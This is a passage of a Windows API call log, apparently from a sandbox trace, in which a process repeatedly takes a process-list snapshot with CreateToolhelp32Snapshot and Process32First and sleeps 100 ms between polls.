dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.927] Sleep (dwMilliseconds=0x64) [0184.955] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2190 [0184.968] Process32First (in: hSnapshot=0x2190, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.067] Sleep (dwMilliseconds=0x64) [0185.072] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0185.087] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.190] Sleep (dwMilliseconds=0x64) [0185.223] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0185.234] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.302] Sleep (dwMilliseconds=0x64) [0185.338] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0185.352] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.442] Sleep (dwMilliseconds=0x64) [0185.462] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0185.474] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.618] Sleep (dwMilliseconds=0x64) [0185.649] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0185.663] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.774] Sleep (dwMilliseconds=0x64) [0185.778] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0185.798] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.933] Sleep (dwMilliseconds=0x64) [0185.965] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0185.977] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.055] Sleep (dwMilliseconds=0x64) [0186.066] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0186.104] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.172] Sleep (dwMilliseconds=0x64) [0186.208] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0186.221] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.340] Sleep (dwMilliseconds=0x64) [0186.349] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0186.360] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.527] Sleep (dwMilliseconds=0x64) [0186.557] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0186.569] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.634] Sleep (dwMilliseconds=0x64) [0186.642] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0186.778] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.842] Sleep (dwMilliseconds=0x64) [0186.917] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2190 [0186.929] Process32First (in: hSnapshot=0x2190, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.065] Sleep (dwMilliseconds=0x64) [0187.116] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0187.127] Process32First (in: hSnapshot=0x21d0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.240] Sleep (dwMilliseconds=0x64) [0187.277] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x218c [0187.294] Process32First (in: hSnapshot=0x218c, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.364] Sleep (dwMilliseconds=0x64) [0187.395] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0187.453] Process32First (in: hSnapshot=0x21d0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.548] Sleep (dwMilliseconds=0x64) [0187.582] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0187.594] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.707] Sleep (dwMilliseconds=0x64) [0187.714] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19e4 [0187.727] Process32First (in: hSnapshot=0x19e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.918] Sleep (dwMilliseconds=0x64) [0188.056] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0188.069] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.247] Sleep (dwMilliseconds=0x64) [0188.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21d0 [0188.280] Process32First (in: hSnapshot=0x21d0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.352] Sleep (dwMilliseconds=0x64) [0188.384] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0188.396] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.526] Sleep (dwMilliseconds=0x64) [0188.568] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19e4 [0188.584] Process32First (in: hSnapshot=0x19e4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.701] Sleep (dwMilliseconds=0x64) [0188.740] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0188.756] Process32First (in: hSnapshot=0x21c4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.916] Sleep (dwMilliseconds=0x64) [0188.950] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0188.963] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.077] Sleep (dwMilliseconds=0x64) [0189.121] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0189.136] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.251] Sleep (dwMilliseconds=0x64) [0189.253] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0189.268] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.446] Sleep (dwMilliseconds=0x64) [0189.481] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0189.528] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.593] Sleep (dwMilliseconds=0x64) [0189.631] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0189.645] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.767] Sleep (dwMilliseconds=0x64) [0189.804] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0189.857] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.945] Sleep (dwMilliseconds=0x64) [0189.987] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0190.004] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.176] Sleep (dwMilliseconds=0x64) [0190.211] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ca4 [0190.233] Process32First (in: hSnapshot=0x1ca4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.409] Sleep (dwMilliseconds=0x64) [0190.461] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0190.483] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.752] Sleep (dwMilliseconds=0x64) [0190.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0190.809] Process32First (in: hSnapshot=0x21c4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.923] Sleep (dwMilliseconds=0x64) [0190.947] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0190.963] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.093] Sleep (dwMilliseconds=0x64) [0191.134] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0191.150] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.266] Sleep (dwMilliseconds=0x64) [0191.309] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0191.321] Process32First (in: hSnapshot=0x21c4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.386] Sleep (dwMilliseconds=0x64) [0191.407] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0191.419] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.572] Sleep (dwMilliseconds=0x64) [0191.628] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0191.645] Process32First (in: hSnapshot=0x21c4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.773] Sleep (dwMilliseconds=0x64) [0191.790] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0191.808] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.936] Sleep (dwMilliseconds=0x64) [0191.985] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0192.000] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.111] Sleep (dwMilliseconds=0x64) [0192.151] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0192.164] Process32First (in: hSnapshot=0x21c4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.270] Sleep (dwMilliseconds=0x64) [0192.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c4 [0192.287] Process32First (in: hSnapshot=0x21c4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.354] Sleep (dwMilliseconds=0x64) [0192.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cd4 [0192.434] Process32First (in: hSnapshot=0x1cd4, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0192.544] Sleep (dwMilliseconds=0x64) [0192.587] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e14 [0192.601] Process32First (in: hSnapshot=0x1e14, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.111] Sleep (dwMilliseconds=0x64) [0193.254] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2180 [0193.271] Process32First (in: hSnapshot=0x2180, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.409] Sleep (dwMilliseconds=0x64) [0193.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c0 [0193.456] Process32First (in: hSnapshot=0x21c0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.607] Sleep (dwMilliseconds=0x64) [0193.611] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee8 [0193.631] Process32First (in: hSnapshot=0x1ee8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.758] Sleep (dwMilliseconds=0x64) [0193.760] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee8 [0193.776] Process32First (in: hSnapshot=0x1ee8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.881] Sleep (dwMilliseconds=0x64) [0193.882] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee8 [0193.904] Process32First (in: hSnapshot=0x1ee8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.006] Sleep (dwMilliseconds=0x64) [0194.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee8 [0194.021] Process32First (in: hSnapshot=0x1ee8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.088] Sleep (dwMilliseconds=0x64) [0194.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ee8 [0194.181] Process32First (in: hSnapshot=0x1ee8, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.469] Sleep (dwMilliseconds=0x64) [0194.654] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0194.667] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0194.872] Sleep (dwMilliseconds=0x64) [0194.982] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0194.996] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.109] Sleep (dwMilliseconds=0x64) [0195.111] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0195.125] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.225] Sleep (dwMilliseconds=0x64) [0195.226] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0195.240] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.413] Sleep (dwMilliseconds=0x64) [0195.416] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0195.430] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.658] Sleep (dwMilliseconds=0x64) [0195.660] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0195.677] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.808] Sleep (dwMilliseconds=0x64) [0195.809] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0195.825] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0195.941] Sleep (dwMilliseconds=0x64) [0195.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ae0 [0195.955] Process32First (in: hSnapshot=0x1ae0, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, 